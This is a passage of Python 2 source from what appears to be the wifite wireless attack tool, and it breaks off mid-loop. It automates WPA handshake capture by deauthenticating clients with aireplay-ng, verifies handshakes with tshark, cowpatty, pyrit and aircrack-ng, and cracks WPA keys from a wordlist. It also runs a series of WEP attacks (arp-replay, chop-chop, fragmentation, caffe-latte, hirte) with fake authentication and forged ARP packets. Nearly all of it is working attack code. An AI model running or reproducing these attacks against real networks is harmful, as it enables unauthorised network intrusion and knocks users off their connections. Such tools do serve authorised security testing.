  2154. + '_' + self.target.bssid.replace(':', '-') \
  2155. + '_' + str(save_index) + '.cap'
  2156.  
  2157. # Remove previous airodump output files (if needed)
  2158. remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2159.  
  2160. # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
  2161. try:
  2162. # Start airodump-ng process to capture handshakes
  2163. cmd = ['airodump-ng',
  2164. '-w', self.RUN_CONFIG.temp + 'wpa',
  2165. '-c', self.target.channel,
  2166. '--bssid', self.target.bssid, self.iface]
  2167. proc_read = Popen(cmd, stdout=DN, stderr=DN)
  2168.  
  2169. # Setting deauthentication process here to avoid errors later on
  2170. proc_deauth = None
  2171.  
  2172. print ' %s starting %swpa handshake capture%s on "%s"' % \
  2173. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, G, W, G + self.target.ssid + W)
  2174. got_handshake = False
  2175.  
  2176. seconds_running = 0
  2177. seconds_since_last_deauth = 0
  2178.  
  2179. target_clients = self.clients[:]
  2180. client_index = -1
  2181. start_time = time.time()
  2182. # Deauth and check-for-handshake loop
  2183. while not got_handshake and (
  2184. self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT):
  2185. if proc_read.poll() != None:
  2186. print ""
  2187. print "airodump-ng exited with status " + str(proc_read.poll())
  2188. print ""
  2189. break
  2190. time.sleep(1)
  2191. seconds_since_last_deauth += int(time.time() - start_time - seconds_running)
  2192. seconds_running = int(time.time() - start_time)
  2193.  
  2194. print " \r",
  2195. print ' %s listening for handshake...\r' % \
  2196. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W),
  2197. stdout.flush()
  2198.  
  2199. if seconds_since_last_deauth > self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT:
  2200. seconds_since_last_deauth = 0
  2201. # Send deauth packets via aireplay-ng
  2202. cmd = ['aireplay-ng',
  2203. '--ignore-negative-one',
  2204. '-0', # Attack method (Deauthentication)
  2205. str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), # Number of packets to send
  2206. '-a', self.target.bssid]
  2207.  
  2208. client_index += 1
  2209.  
  2210. if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
  2211. print " %s sending %s deauth to %s*broadcast*%s..." % \
  2212. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W,
  2213. G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, G, W),
  2214. client_index = -1
  2215. else:
  2216. print " %s sending %s deauth to %s... " % \
  2217. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, \
  2218. G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, \
  2219. G + target_clients[client_index].bssid + W),
  2220. cmd.append('-h')
  2221. cmd.append(target_clients[client_index].bssid)
  2222. cmd.append(self.iface)
  2223. stdout.flush()
  2224.  
  2225. # Send deauth packets via aireplay, wait for them to complete.
  2226. proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
  2227. proc_deauth.wait()
  2228. print "sent\r",
  2229. stdout.flush()
  2230.  
  2231. # Copy current dump file for consistency
  2232. if not os.path.exists(self.RUN_CONFIG.temp + 'wpa-01.cap'): continue
  2233. copy(self.RUN_CONFIG.temp + 'wpa-01.cap', self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2234.  
  2235. # Spawn pcap fix, fix wpa-01.cap.temp, rewrite fixed pcap to original location
  2236. if program_exists('pcapfix'):
  2237. cmd = ['pcapfix', self.RUN_CONFIG.temp + 'wpa-01.cap.temp'] # Run pcapfix on temp pcap
  2238. proc = Popen(cmd, stdout=DN, stderr=DN)
  2239. proc.wait()
  2240. # Rename fixed pcap file only if it exists
  2241. if os.path.isfile(self.RUN_CONFIG.temp + 'fixed_wpa-01.cap.temp'):
  2242. rename(self.RUN_CONFIG.temp + 'fixed_wpa-01.cap.temp', self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2243.  
  2244. # Save copy of cap file (for debugging)
  2245. #remove_file('/root/new/wpa-01.cap')
  2246. #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')
  2247.  
  2248. # Check for handshake
  2249. if self.has_handshake(self.target, self.RUN_CONFIG.temp + 'wpa-01.cap.temp'):
  2250. got_handshake = True
  2251.  
  2252. try:
  2253. os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep)
  2254. except OSError:
  2255. pass
  2256.  
  2257. # Kill the airodump and aireplay processes
  2258. send_interrupt(proc_read)
  2259. send_interrupt(proc_deauth)
  2260.  
  2261. # Save a copy of the handshake
  2262. rename(self.RUN_CONFIG.temp + 'wpa-01.cap.temp', save_as)
  2263.  
  2264. print '\n %s %shandshake captured%s! saved as "%s"' % (
  2265. GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W)
  2266. self.RUN_CONFIG.WPA_FINDINGS.append('%s (%s) handshake captured' % (self.target.ssid, self.target.bssid))
  2267. self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as))
  2268. self.RUN_CONFIG.WPA_FINDINGS.append('')
  2269.  
  2270. # Strip handshake if needed
  2271. if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as)
  2272.  
  2273. # Add the filename and SSID to the list of 'to-crack'
  2274. # Cracking will be handled after all attacks are finished.
  2275. self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid))
  2276.  
  2277. break # Break out of while loop
  2278.  
  2279. # No handshake yet
  2280. os.remove(self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2281.  
  2282. # Check the airodump output file for new clients
  2283. for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wpa-01.csv')[1]:
  2284. if client.station != self.target.bssid: continue
  2285. new_client = True
  2286. for c in target_clients:
  2287. if client.bssid == c.bssid:
  2288. new_client = False
  2289. break
  2290.  
  2291. if new_client:
  2292. print " %s %snew client%s found: %s " % \
  2293. (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, G, W, \
  2294. G + client.bssid + W)
  2295. target_clients.append(client)
  2296.  
  2297. # End of Handshake wait loop.
  2298.  
  2299. if not got_handshake:
  2300. print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W
  2301.  
  2302. except KeyboardInterrupt:
  2303. print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W
  2304. if attack_interrupted_prompt():
  2305. remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2306. send_interrupt(proc_read)
  2307. send_interrupt(proc_deauth)
  2308. print ''
  2309. self.RUN_CONFIG.exit_gracefully(0)
  2310.  
  2311.  
  2312. # clean up
  2313. remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2314. send_interrupt(proc_read)
  2315. send_interrupt(proc_deauth)
  2316.  
  2317. return got_handshake
  2318.  
  2319. def has_handshake_tshark(self, target, capfile):
  2320. """
  2321. Uses TShark to check for a handshake.
  2322. Returns "True" if handshake is found, false otherwise.
  2323. """
  2324. if program_exists('tshark'):
  2325. # Call Tshark to return list of EAPOL packets in cap file.
  2326. cmd = ['tshark',
  2327. '-r', capfile, # Input file
  2328. '-Y', 'eapol', # Filter (only EAPOL packets)
  2329. '-2',
  2330. '-n'] # Do not resolve names (MAC vendors)
  2331. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2332. proc.wait()
  2333. lines = proc.communicate()[0].split('\n')
  2334.  
  2335. # Get list of all clients in cap file
  2336. clients = []
  2337. for line in lines:
  2338. if line.find('appears to have been cut short') != -1 or line.find(
  2339. 'Running as user "root"') != -1 or line.strip() == '':
  2340. continue
  2341.  
  2342. while line.startswith(' '): line = line[1:]
  2343. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2344.  
  2345. fields = line.split(' ')
  2346. # ensure tshark dumped correct info
  2347. if len(fields) < 5:
  2348. continue
  2349.  
  2350. src = fields[2].lower()
  2351. dst = fields[4].lower()
  2352.  
  2353. if src == target.bssid.lower() and clients.count(dst) == 0:
  2354. clients.append(dst)
  2355. elif dst == target.bssid.lower() and clients.count(src) == 0:
  2356. clients.append(src)
  2357.  
  2358. # Check each client for a handshake
  2359. for client in clients:
  2360. msg_num = 1 # Index of message in 4-way handshake (starts at 1)
  2361.  
  2362. for line in lines:
  2363. if line.find('appears to have been cut short') != -1: continue
  2364. if line.find('Running as user "root"') != -1: continue
  2365. if line.strip() == '': continue
  2366.  
  2367. # Sanitize tshark's output, separate into fields
  2368. while line[0] == ' ': line = line[1:]
  2369. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2370.  
  2371. fields = line.split(' ')
  2372.  
  2373. # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.
  2374. # This catches this glitch and fixes it.
  2375. if len(fields) < 8:
  2376. continue
  2377. elif len(fields) == 8:
  2378. fields.append('(msg')
  2379. fields.append('3/4)')
  2380.  
  2381. src = fields[2].lower() # Source MAC address
  2382. dst = fields[4].lower() # Destination MAC address
  2383. if len(fields) == 12:
  2384. # "Message x of y" format
  2385. msg = fields[9][0]
  2386. else:
  2387. msg = fields[-1][0]
  2388.  
  2389. # First, third msgs in 4-way handshake are from the target to client
  2390. if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client):
  2391. continue
  2392. # Second, fourth msgs in 4-way handshake are from client to target
  2393. elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client):
  2394. continue
  2395.  
  2396. # The messages must appear in sequential order.
  2397. try:
  2398. if int(msg) != msg_num: continue
  2399. except ValueError:
  2400. continue
  2401.  
  2402. msg_num += 1
  2403.  
  2404. # We need the first 4 messages of the 4-way handshake
  2405. # Although aircrack-ng cracks just fine with only 3 of the messages...
  2406. if msg_num >= 4:
  2407. return True
  2408. return False
  2409.  
  2410. def has_handshake_cowpatty(self, target, capfile, nonstrict=True):
  2411. """
  2412. Uses cowpatty to check for a handshake.
  2413. Returns "True" if handshake is found, false otherwise.
  2414. """
  2415. if not program_exists('cowpatty'): return False
  2416.  
  2417. # Call cowpatty to check if capfile contains a valid handshake.
  2418. cmd = ['cowpatty',
  2419. '-r', capfile, # input file
  2420. '-s', target.ssid, # SSID
  2421. '-c'] # Check for handshake
  2422. # Uses frames 1, 2, or 3 for key attack
  2423. if nonstrict: cmd.append('-2')
  2424. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2425. proc.wait()
  2426. response = proc.communicate()[0]
  2427. if response.find('incomplete four-way handshake exchange') != -1:
  2428. return False
  2429. elif response.find('Unsupported or unrecognized pcap file.') != -1:
  2430. return False
  2431. elif response.find('Unable to open capture file: Success') != -1:
  2432. return False
  2433. return True
  2434.  
  2435. def has_handshake_pyrit(self, target, capfile):
  2436. """
  2437. Uses pyrit to check for a handshake.
  2438. Returns "True" if handshake is found, false otherwise.
  2439. """
  2440. if not program_exists('pyrit'): return False
  2441.  
  2442. # Call pyrit to "Analyze" the cap file's handshakes.
  2443. cmd = ['pyrit',
  2444. '-r', capfile,
  2445. 'analyze']
  2446. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2447. proc.wait()
  2448. hit_essid = False
  2449. for line in proc.communicate()[0].split('\n'):
  2450. # Iterate over every line of output by Pyrit
  2451. if line == '' or line == None: continue
  2452. if line.find("AccessPoint") != -1:
  2453. hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
  2454. (line.lower().find(target.bssid.lower()) != -1)
  2455. #hit_essid = (line.lower().find(target.bssid.lower()))
  2456.  
  2457. else:
  2458. # If Pyrit says it's good or workable, it's a valid handshake.
  2459. if hit_essid and (line.find(', good, ') != -1 or \
  2460. line.find(', workable, ') != -1):
  2461. return True
  2462. return False
  2463.  
  2464. def has_handshake_aircrack(self, target, capfile):
  2465. """
  2466. Uses aircrack-ng to check for handshake.
  2467. Returns True if found, False otherwise.
  2468. """
  2469. if not program_exists('aircrack-ng'): return False
  2470. crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
  2471. proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
  2472. proc_crack.wait()
  2473. txt = proc_crack.communicate()[0]
  2474.  
  2475. return (txt.find('Passphrase not in dictionary') != -1)
  2476.  
  2477. def has_handshake(self, target, capfile):
  2478. """
  2479. Checks if .cap file contains a handshake.
  2480. Returns True if handshake is found, False otherwise.
  2481. """
  2482. valid_handshake = True
  2483. tried = False
  2484. if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK:
  2485. tried = True
  2486. valid_handshake = self.has_handshake_tshark(target, capfile)
  2487.  
  2488. #if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2489. # tried = True
  2490. # valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2491.  
  2492. # Use CowPatty to check for handshake.
  2493. if valid_handshake == False and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2494. tried = True
  2495. valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2496.  
  2497. # Check for handshake using Pyrit if applicable
  2498. if valid_handshake == False and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT:
  2499. tried = True
  2500. valid_handshake = self.has_handshake_pyrit(target, capfile)
  2501.  
  2502. # Check for handshake using aircrack-ng
  2503. if valid_handshake == False and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK:
  2504. tried = True
  2505. valid_handshake = self.has_handshake_aircrack(target, capfile)
  2506.  
  2507. if tried: return valid_handshake
  2508. print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!'
  2509. self.RUN_CONFIG.exit_gracefully(1)
  2510.  
  2511. def strip_handshake(self, capfile):
  2512. """
  2513. Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
  2514. File in location 'capfile' is overwritten!
  2515. """
  2516. output_file = capfile
  2517. if program_exists('pyrit'):
  2518. cmd = ['pyrit',
  2519. '-r', capfile,
  2520. '-o', capfile + '.temp',
  2521. 'stripLive']
  2522. call(cmd, stdout=DN, stderr=DN)
  2523. rename(capfile + '.temp', output_file)
  2524.  
  2525. elif program_exists('tshark'):
  2526. # strip results with tshark
  2527. cmd = ['tshark',
  2528. '-r', capfile, # input file
  2529. '-R', 'eapol || wlan_mgt.tag.interpretation', # filter
  2530. '-2',
  2531. '-w', capfile + '.temp'] # output file
  2532. proc_strip = call(cmd, stdout=DN, stderr=DN)
  2533.  
  2534. rename(capfile + '.temp', output_file)
  2535.  
  2536. else:
  2537. print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W
  2538.  
  2539.  
  2540. ##########################
  2541. # WPA CRACKING FUNCTIONS #
  2542. ##########################
  2543. def wpa_crack(capfile, RUN_CONFIG):
  2544. """
  2545. Cracks cap file using aircrack-ng
  2546. This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
  2547. they can do so manually.
  2548. """
  2549. if RUN_CONFIG.WPA_DICTIONARY == '':
  2550. print R + ' [!]' + O + ' no WPA dictionary found! use -dict <file> command-line argument' + W
  2551. return False
  2552.  
  2553. print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W)
  2554. start_time = time.time()
  2555. cracked = False
  2556.  
  2557. remove_file(RUN_CONFIG.temp + 'out.out')
  2558. remove_file(RUN_CONFIG.temp + 'wpakey.txt')
  2559.  
  2560. cmd = ['aircrack-ng',
  2561. '-a', '2', # WPA crack
  2562. '-w', RUN_CONFIG.WPA_DICTIONARY, # Wordlist
  2563. '-l', RUN_CONFIG.temp + 'wpakey.txt', # Save key to file
  2564. '-b', capfile.bssid, # BSSID of target
  2565. capfile.filename]
  2566.  
  2567. proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN)
  2568. try:
  2569. kt = 0 # Keys tested
  2570. kps = 0 # Keys per second
  2571. while True:
  2572. time.sleep(1)
  2573.  
  2574. if proc.poll() != None: # aircrack stopped
  2575. if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'):
  2576. # Cracked
  2577. inf = open(RUN_CONFIG.temp + 'wpakey.txt')
  2578. key = inf.read().strip()
  2579. inf.close()
  2580. RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (
  2581. G + capfile.ssid + W, G + capfile.bssid + W, C + key + W))
  2582. RUN_CONFIG.WPA_FINDINGS.append('')
  2583. t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)
  2584. t.key = key
  2585. RUN_CONFIG.save_cracked(t)
  2586.  
  2587. print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W)
  2588. print GR + ' [+]' + W + ' key: "%s"\n' % (C + key + W)
  2589. cracked = True
  2590. else:
  2591. # Did not crack
  2592. print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W
  2593. break
  2594.  
  2595. inf = open(RUN_CONFIG.temp + 'out.out', 'r')
  2596. lines = inf.read().split('\n')
  2597. inf.close()
  2598. outf = open(RUN_CONFIG.temp + 'out.out', 'w')
  2599. outf.close()
  2600. for line in lines:
  2601. i = line.find(']')
  2602. j = line.find('keys tested', i)
  2603. if i != -1 and j != -1:
  2604. kts = line[i + 2:j - 1]
  2605. try:
  2606. kt = int(kts)
  2607. except ValueError:
  2608. pass
  2609. i = line.find('(')
  2610. j = line.find('k/s)', i)
  2611. if i != -1 and j != -1:
  2612. kpss = line[i + 1:j - 1]
  2613. try:
  2614. kps = float(kpss)
  2615. except ValueError:
  2616. pass
  2617.  
  2618. print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \
  2619. (GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(kt) + W, G, kps, W),
  2620. stdout.flush()
  2621.  
  2622. except KeyboardInterrupt:
  2623. print R + '\n (^C)' + O + ' WPA cracking interrupted' + W
  2624.  
  2625. send_interrupt(proc)
  2626. try:
  2627. os.kill(proc.pid, SIGTERM)
  2628. except OSError:
  2629. pass
  2630.  
  2631. return cracked
  2632.  
  2633.  
  2634. def add_commas(n):
  2635. """
  2636. Receives integer n, returns string representation of n with commas in thousands place.
  2637. I'm sure there's easier ways of doing this... but meh.
  2638. """
  2639. strn = str(n)
  2640. lenn = len(strn)
  2641. i = 0
  2642. result = ''
  2643. while i < lenn:
  2644. if (lenn - i) % 3 == 0 and i != 0: result += ','
  2645. result += strn[i]
  2646. i += 1
  2647. return result
  2648.  
  2649.  
  2650. #################
  2651. # WEP FUNCTIONS #
  2652. #################
  2653. class WEPAttack(Attack):
  2654. def __init__(self, iface, target, clients, config):
  2655. self.iface = iface
  2656. self.target = target
  2657. self.clients = clients
  2658. self.RUN_CONFIG = config
  2659.  
  2660. def RunAttack(self):
  2661. '''
  2662. Abstract method for dispatching the WEP crack
  2663. '''
  2664. self.attack_wep()
  2665.  
  2666. def EndAttack(self):
  2667. '''
  2668. Abstract method for ending the WEP attack
  2669. '''
  2670. pass
  2671.  
  2672. def attack_wep(self):
  2673. """
  2674. Attacks WEP-encrypted network.
  2675. Returns True if key was successfully found, False otherwise.
  2676. """
  2677. if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1
  2678.  
  2679. total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0)
  2680. if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1
  2681. if not self.RUN_CONFIG.WEP_CHOPCHOP: total_attacks -= 1
  2682. if not self.RUN_CONFIG.WEP_FRAGMENT: total_attacks -= 1
  2683. if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1
  2684. if not self.RUN_CONFIG.WEP_P0841: total_attacks -= 1
  2685. if not self.RUN_CONFIG.WEP_HIRTE: total_attacks -= 1
  2686.  
  2687. if total_attacks <= 0:
  2688. print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!'
  2689. return False
  2690. remaining_attacks = total_attacks
  2691.  
  2692. print ' %s preparing attack "%s" (%s)' % \
  2693. (GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W)
  2694.  
  2695. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2696. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2697.  
  2698. # Start airodump process to capture packets
  2699. cmd_airodump = ['airodump-ng',
  2700. '-w', self.RUN_CONFIG.temp + 'wep', # Output file name (wep-01.cap, wep-01.csv)
  2701. '-c', self.target.channel, # Wireless channel
  2702. '--bssid', self.target.bssid,
  2703. self.iface]
  2704. proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  2705. proc_aireplay = None
  2706. proc_aircrack = None
  2707.  
  2708. successful = False # Flag for when attack is successful
  2709. started_cracking = False # Flag for when we have started aircrack-ng
  2710. client_mac = '' # The client mac we will send packets to/from
  2711.  
  2712. total_ivs = 0
  2713. ivs = 0
  2714. last_ivs = 0
  2715. for attack_num in xrange(0, 6):
  2716.  
  2717. # Skip disabled attacks
  2718. if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY:
  2719. continue
  2720. elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP:
  2721. continue
  2722. elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT:
  2723. continue
  2724. elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE:
  2725. continue
  2726. elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841:
  2727. continue
  2728. elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE:
  2729. continue
  2730.  
  2731. remaining_attacks -= 1
  2732.  
  2733. try:
  2734.  
  2735. if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)):
  2736. # Successful fake auth
  2737. client_mac = self.RUN_CONFIG.THIS_MAC
  2738. elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH:
  2739. send_interrupt(proc_aireplay)
  2740. send_interrupt(proc_airodump)
  2741. print R + ' [!]' + O + ' unable to fake-authenticate with target'
  2742. print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line'
  2743. return False
  2744.  
  2745. remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2746. # Generate the aireplay-ng arguments based on attack_num and other params
  2747. cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac)
  2748. if cmd == '': continue
  2749. if proc_aireplay != None:
  2750. send_interrupt(proc_aireplay)
  2751. proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2752.  
  2753. print '\r %s attacking "%s" via' % (
  2754. GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W),
  2755. if attack_num == 0:
  2756. print G + 'arp-replay',
  2757. elif attack_num == 1:
  2758. print G + 'chop-chop',
  2759. elif attack_num == 2:
  2760. print G + 'fragmentation',
  2761. elif attack_num == 3:
  2762. print G + 'caffe-latte',
  2763. elif attack_num == 4:
  2764. print G + 'p0841',
  2765. elif attack_num == 5:
  2766. print G + 'hirte',
  2767. print 'attack' + W
  2768.  
  2769. print ' %s captured %s%d%s ivs @ %s iv/sec' % (
  2770. GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G, total_ivs, W, G + '0' + W),
  2771. stdout.flush()
  2772.  
  2773. time.sleep(1)
  2774. if attack_num == 1:
  2775. # Send a deauth packet to broadcast and all clients *just because!*
  2776. self.wep_send_deauths(self.iface, self.target, self.clients)
  2777. last_deauth = time.time()
  2778.  
  2779. replaying = False
  2780. time_started = time.time()
  2781. while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT:
  2782. # time.sleep(5)
  2783. for time_count in xrange(0, 6):
  2784. if self.RUN_CONFIG.WEP_TIMEOUT == -1:
  2785. current_hms = "[endless]"
  2786. else:
  2787. current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started))
  2788. print "\r %s\r" % (GR + current_hms + W),
  2789. stdout.flush()
  2790. time.sleep(1)
  2791.  
  2792. # Calculates total seconds remaining
  2793.  
  2794. # Check number of IVs captured
  2795. csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
  2796. if len(csv) > 0:
  2797. ivs = int(csv[0].data)
  2798. print "\r ",
  2799. print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
  2800. (GR + current_hms + W, G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2801.  
  2802. if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
  2803. print "\r %s deauthing to generate packets..." % (GR + current_hms + W),
  2804. self.wep_send_deauths(self.iface, self.target, self.clients)
  2805. print "done\r",
  2806. last_deauth = time.time()
  2807.  
  2808. last_ivs = ivs
  2809. stdout.flush()
  2810. if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking:
  2811. # Start cracking
  2812. cmd = ['aircrack-ng',
  2813. '-a', '1',
  2814. '-l', self.RUN_CONFIG.temp + 'wepkey.txt']
  2815. #temp + 'wep-01.cap']
  2816. # Append all .cap files in temp directory (in case we are resuming)
  2817. for f in os.listdir(self.RUN_CONFIG.temp):
  2818. if f.startswith('wep-') and f.endswith('.cap'):
  2819. cmd.append(self.RUN_CONFIG.temp + f)
  2820.  
  2821. print "\r %s started %s (%sover %d ivs%s)" % (
  2822. GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W)
  2823. proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
  2824. started_cracking = True
  2825.  
  2826. # Check if key has been cracked yet.
  2827. if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2828. # Cracked!
  2829. infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2830. key = infile.read().replace('\n', '')
  2831. infile.close()
  2832. print '\n\n %s %s %s (%s)! key: "%s"' % (
  2833. current_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2834. self.RUN_CONFIG.WEP_FINDINGS.append(
  2835. 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2836. self.RUN_CONFIG.WEP_FINDINGS.append('')
  2837.  
  2838. t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2839. t.key = key
  2840. self.RUN_CONFIG.save_cracked(t)
  2841.  
  2842. # Kill processes
  2843. send_interrupt(proc_airodump)
  2844. send_interrupt(proc_aireplay)
  2845. try:
  2846. os.kill(proc_aireplay, SIGTERM)
  2847. except:
  2848. pass
  2849. send_interrupt(proc_aircrack)
  2850. # Remove files generated by airodump/aireplay/packetforce
  2851. time.sleep(0.5)
  2852. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2853. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2854. return True
  2855.  
  2856. # Check if aireplay is still executing
  2857. if proc_aireplay.poll() == None:
  2858. if replaying:
  2859. print ', ' + G + 'replaying \r' + W,
  2860. elif attack_num == 1 or attack_num == 2:
  2861. print ', waiting for packet \r',
  2862. stdout.flush()
  2863. continue
  2864.  
  2865. # At this point, aireplay has stopped
  2866. if attack_num != 1 and attack_num != 2:
  2867. print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W)
  2868. break # Break out of attack's While loop
  2869.  
  2870. # Check for a .XOR file (we expect one when doing chopchop/fragmentation
  2871. xor_file = ''
  2872. for filename in sorted(os.listdir(self.RUN_CONFIG.temp)):
  2873. if filename.lower().endswith('.xor'): xor_file = self.RUN_CONFIG.temp + filename
  2874. if xor_file == '':
  2875. print '\r %s attack failed: %sunable to generate keystream %s' % (R + current_hms, O, W)
  2876. break
  2877.  
  2878. remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2879. cmd = ['packetforge-ng',
  2880. '-0',
  2881. '-a', self.target.bssid,
  2882. '-h', client_mac,
  2883. '-k', '192.168.1.2',
  2884. '-l', '192.168.1.100',
  2885. '-y', xor_file,
  2886. '-w', self.RUN_CONFIG.temp + 'arp.cap',
  2887. self.iface]
  2888. proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
  2889. proc_pforge.wait()
  2890. forged_packet = proc_pforge.communicate()[0]
  2891. remove_file(xor_file)
  2892. if forged_packet == None: result = ''
  2893. forged_packet = forged_packet.strip()
  2894. if not forged_packet.find('Wrote packet'):
  2895. print "\r %s attack failed: unable to forget ARP packet %s" % (
  2896. R + current_hms + O, W)
  2897. break
  2898.  
  2899. # We were able to forge a packet, so let's replay it via aireplay-ng
  2900. cmd = ['aireplay-ng',
  2901. '--ignore-negative-one',
  2902. '--arpreplay',
  2903. '-b', self.target.bssid,
  2904. '-r', self.RUN_CONFIG.temp + 'arp.cap', # Used the forged ARP packet
  2905. '-F', # Select the first packet
  2906. self.iface]
  2907. proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2908.  
  2909. print '\r %s forged %s! %s... ' % (
  2910. GR + current_hms + W, G + 'arp packet' + W, G + 'replaying' + W)
  2911. replaying = True
  2912.  
  2913. # After the attacks, if we are already cracking, wait for the key to be found!
  2914. while started_cracking: # ivs > WEP_CRACK_AT_IVS:
  2915. time.sleep(5)
  2916. # Check number of IVs captured
  2917. csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
